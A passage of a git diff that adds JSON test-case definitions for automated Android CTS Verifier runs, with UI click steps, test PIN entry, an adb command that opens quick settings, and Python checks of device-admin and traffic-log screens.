apps\",\"actionId\":\"30c0258c-0644-4495-a37f-e4859f90fc04\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device admin apps\"}],\"childrenIdList\":[\"2dad0955-cdab-4973-bd4f-b46db4fe4534\",\"ce237ffe-9f9c-43ed-98e2-091a681a3279\",\"19e3df40-07a1-42cc-9e4d-5dbbf8b158fd\",\"7efe8458-75dc-46eb-8745-d3ac9b258e8d\",\"24787c09-a68d-4299-b149-08350e5038a6\",\"e8801432-f033-4a9c-93e5-7a9b124d79fb\",\"30c0258c-0644-4495-a37f-e4859f90fc04\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Device admin apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.319000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3
new file mode 100644
index 0000000..8005254
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3
@@ -0,0 +1 @@
+{"uuid":"bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3","details":"{\"type\":\"CompoundAction\",\"name\":\"Assert the main location go into 'on' state\",\"actionId\":\"bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Assert the main location go into 'on' state\",\"actionId\":\"dd17f56c-90ba-43a5-a337-a7f15b23c01b\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\nuicd_util = UICDPythonUtil()\\nd = Device.create_device_by_slot(0)\\n\\nresult = d.text(\\\"Use location\\\").right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"dd17f56c-90ba-43a5-a337-a7f15b23c01b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Assert the main location go into 'on' state","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.286000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb6f039b-70ef-41a6-9880-20e383ba74d5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb6f039b-70ef-41a6-9880-20e383ba74d5
new file mode 100644
index 0000000..55dcdfd
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb6f039b-70ef-41a6-9880-20e383ba74d5
@@ -0,0 +1 @@
+{"uuid":"bb6f039b-70ef-41a6-9880-20e383ba74d5","details":"{\"type\":\"CompoundAction\",\"name\":\"Confirm PIN or Password lock \\\"1234\\\"\",\"actionId\":\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if need to re-Enter PIN or password\",\"actionId\":\"4a7f84a4-ed63-4249-9bbd-5b80145f5882\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Re-enter your PIN\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Re-enter your password\"},{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/pinEntry\"},{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/passwordEntry\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Enter\",\"actionId\":\"336f35ce-a6e5-49b2-a46e-7e97caa8cf43\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.inputmethod.latin:id/key_pos_ime_action\"},{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/key_enter\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"4a7f84a4-ed63-4249-9bbd-5b80145f5882\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"336f35ce-a6e5-49b2-a46e-7e97caa8cf43\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Confirm PIN or Password lock \"1234\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.034000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb7fdd5f-0d61-4a6b-bd0f-589f5da59832 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb7fdd5f-0d61-4a6b-bd0f-589f5da59832
new file mode 100644
index 0000000..a92454b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bb7fdd5f-0d61-4a6b-bd0f-589f5da59832
@@ -0,0 +1 @@
+{"uuid":"bb7fdd5f-0d61-4a6b-bd0f-589f5da59832","details":"{\"type\":\"CompoundAction\",\"name\":\"17-02-Device administrator settings\",\"actionId\":\"bb7fdd5f-0d61-4a6b-bd0f-589f5da59832\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Device administrator settings\",\"actionId\":\"ef8343fb-d75a-47d6-833c-7fa23fc2d105\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device administrator settings\"}],\"childrenIdList\":[\"ef8343fb-d75a-47d6-833c-7fa23fc2d105\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"d5c77251-9663-4eaa-b708-68a67fc8189f\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"17-02-Device administrator settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.199000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc4f5534-26cb-4b19-b548-609b6c8e326e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc4f5534-26cb-4b19-b548-609b6c8e326e
new file mode 100644
index 0000000..1b53f39
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc4f5534-26cb-4b19-b548-609b6c8e326e
@@ -0,0 +1 @@
+{"uuid":"bc4f5534-26cb-4b19-b548-609b6c8e326e","details":"{\"type\":\"CompoundAction\",\"name\":\"Open quick settings\",\"actionId\":\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Open quick settings\",\"actionId\":\"185a2bfe-ad56-42bb-9f2e-d3529ecbef1c\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"commandLine\":\"shell cmd statusbar expand-settings\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"185a2bfe-ad56-42bb-9f2e-d3529ecbef1c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open quick settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.980000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc8d1d81-e862-43e2-aa54-1056b9e26f14 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc8d1d81-e862-43e2-aa54-1056b9e26f14
new file mode 100644
index 0000000..da27155
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc8d1d81-e862-43e2-aa54-1056b9e26f14
@@ -0,0 +1 @@
+{"uuid":"bc8d1d81-e862-43e2-aa54-1056b9e26f14","details":"{\"type\":\"CompoundAction\",\"name\":\"16-02-Retrieve traffic logs\",\"actionId\":\"bc8d1d81-e862-43e2-aa54-1056b9e26f14\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Retrieve traffic logs\",\"actionId\":\"dd85c789-d117-4cc4-8845-8d4a087f8ec9\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Retrieve traffic logs\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cc2530f1-0427-406e-bf04-18d8360ad66b\",\"displayText\":\"Retrieve traffic logs\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Retrieve traffic logs\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":125.25,\"x2\":351.25,\"y2\":167.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":75.5,\"y\":147.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":104.5,\"y\":-0.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"cc2530f1-0427-406e-bf04-18d8360ad66b\",\"firstText\":\"Retrieve traffic logs\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Retrieve traffic logs\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":132.0,\"x2\":142.0,\"y2\":162.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Retrieve traffic logs\",\"actionId\":\"373d2751-f61f-4f23-a25f-cbad0f2f568e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Retrieve traffic logs\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Retrieve Traffic Logs\",\"actionId\":\"87907d2b-c2be-4cb5-a7a3-823889390ec4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Retrieve Traffic Logs\"},{\"type\":\"PythonScriptAction\",\"name\":\"Verify that you are told traffic logs were last retrieved at the time you pressed\",\"actionId\":\"c504b79f-7701-41f7-b0b4-b657f7810680\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\nfrom python_uiautomator.constant import MatchOption\\n\\nuicd_util = UICDPythonUtil()\\nd= Device.create_device_by_slot(0)\\n\\ntime = dict(d.resource_id(\\\"com.android.systemui:id/clock\\\").get_attributes())['text']\\n\\nresult = d.text(\\\"Most recent network traffic log\\\").down().text(time, MatchOption.CONTAINS).verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"888e6b6b-3a6c-469a-98f7-f5d63af8e424\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"dd85c789-d117-4cc4-8845-8d4a087f8ec9\",\"373d2751-f61f-4f23-a25f-cbad0f2f568e\",\"87907d2b-c2be-4cb5-a7a3-823889390ec4\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"c504b79f-7701-41f7-b0b4-b657f7810680\",\"888e6b6b-3a6c-469a-98f7-f5d63af8e424\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-02-Retrieve traffic logs","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.169000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc9471bc-a314-40a4-952b-24a9d2db4974 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc9471bc-a314-40a4-952b-24a9d2db4974
new file mode 100644
index 0000000..17d8c9a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bc9471bc-a314-40a4-952b-24a9d2db4974
@@ -0,0 +1 @@
+{"uuid":"bc9471bc-a314-40a4-952b-24a9d2db4974","details":"{\"type\":\"CompoundAction\",\"name\":\"Confirm PIN or Password lock \\\"2468\\\"\",\"actionId\":\"bc9471bc-a314-40a4-952b-24a9d2db4974\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if need to re-Enter PIN or password\",\"actionId\":\"11d17c24-61c3-415a-98c6-a27ccf1a2d04\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Re-enter your password\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Re-enter your PIN\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enter key\",\"actionId\":\"634f2c0a-5b87-4b27-acb7-174cbe8aee03\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.inputmethod.latin:id/key_pos_ime_action\"}],\"childrenIdList\":[\"11d17c24-61c3-415a-98c6-a27ccf1a2d04\",\"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a\",\"634f2c0a-5b87-4b27-acb7-174cbe8aee03\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Confirm PIN or Password lock \"2468\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.255000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bcc40c72-d997-4128-80a1-6aca3603c260 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bcc40c72-d997-4128-80a1-6aca3603c260
new file mode 100644
index 0000000..868ab6e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bcc40c72-d997-4128-80a1-6aca3603c260
@@ -0,0 +1 @@
+{"uuid":"bcc40c72-d997-4128-80a1-6aca3603c260","details":"{\"type\":\"CompoundAction\",\"name\":\"Check the restriction message(default)\",\"actionId\":\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if screen show action not allowed\",\"actionId\":\"94b994cc-7693-4e62-97bf-9f665defe78d\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Action not allowed\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cff335b1-3a0b-4b42-aa25-5c51c1bd0d33\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"fb23b3b3-14ae-47bf-844e-698b33a0ae54\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"4ecd7979-b70e-4fdb-baf6-8651ff3ae30c\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"29f2a1f1-afe1-4051-95ae-23f9241e3474\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/admin_support_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":296.0,\"x2\":86.25,\"y2\":338.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"2d5820c0-53d2-4e48-a098-cd27dde09303\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/admin_support_dialog_title\",\"text\":\"Action not allowed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":86.25,\"y1\":305.25,\"x2\":254.0,\"y2\":328.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-13.375,\"y\":3.875,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":296.0,\"x2\":315.75,\"y2\":355.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"},{\"uuid\":\"47ce8759-4ace-4887-9dda-7c45390fde13\",\"displayText\":\"If you have questions, contact your IT admin\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fe49b8ec-54a5-496a-ac8b-a273584a5f03\",\"displayText\":\"If you have questions, contact your IT admin\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6c8d48ff-eb00-4906-91d8-5b1346a46839\",\"displayText\":\"If you have questions, contact your IT admin\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/admin_support_msg\",\"text\":\"If you have questions, contact your IT admin\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":355.5,\"x2\":315.75,\"y2\":392.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"If you have questions, contact your IT admin\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":355.5,\"x2\":315.75,\"y2\":392.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"If you have questions, contact your IT admin\"}],\"className\":\"android.widget.ScrollView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":355.5,\"x2\":315.75,\"y2\":392.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"If you have questions, contact your IT admin\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.25,\"y1\":275.0,\"x2\":336.75,\"y2\":413.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.settings:id/custom\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.25,\"y1\":275.0,\"x2\":336.75,\"y2\":413.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":183.5,\"y\":313.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.5,\"y\":31.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"2d5820c0-53d2-4e48-a098-cd27dde09303\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Action not allowed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":103.0,\"y1\":296.0,\"x2\":264.0,\"y2\":330.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the support message\",\"actionId\":\"20e4a0e7-1855-4583-978e-bfa7ab4bfb88\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"If you have questions, contact your IT admin\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f0466ffe-b4cf-4ce9-a057-6d1802f5bdf4\",\"displayText\":\"If you have questions, contact your IT admin\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"a9f2f8ff-81d5-400d-a0bc-dfe95012c133\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"922bece1-4bec-4445-9ab4-77bc7fb3d834\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0e0ca6b7-a3f4-4b80-a6b4-370a5152f094\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/admin_support_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":296.0,\"x2\":86.25,\"y2\":338.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"ccb874ef-adb6-45bf-b118-cc1181d86da7\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/admin_support_dialog_title\",\"text\":\"Action not allowed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":86.25,\"y1\":305.25,\"x2\":254.0,\"y2\":328.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":296.0,\"x2\":315.75,\"y2\":355.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"},{\"uuid\":\"1662ccd6-6e74-43c6-bd6c-3e46ef24c834\",\"displayText\":\"If you have questions, contact your IT admin\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b4730a5c-430e-4b43-9093-2074c2c1f5f4\",\"displayText\":\"If you have questions, contact your IT admin\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7fbf424c-2da3-4d73-9943-1e9ceb031641\",\"displayText\":\"If you have questions, contact your IT admin\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/admin_support_msg\",\"text\":\"If you have questions, contact your IT admin\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":355.5,\"x2\":315.75,\"y2\":392.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":19.5,\"y\":2.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"If you have questions, contact your IT 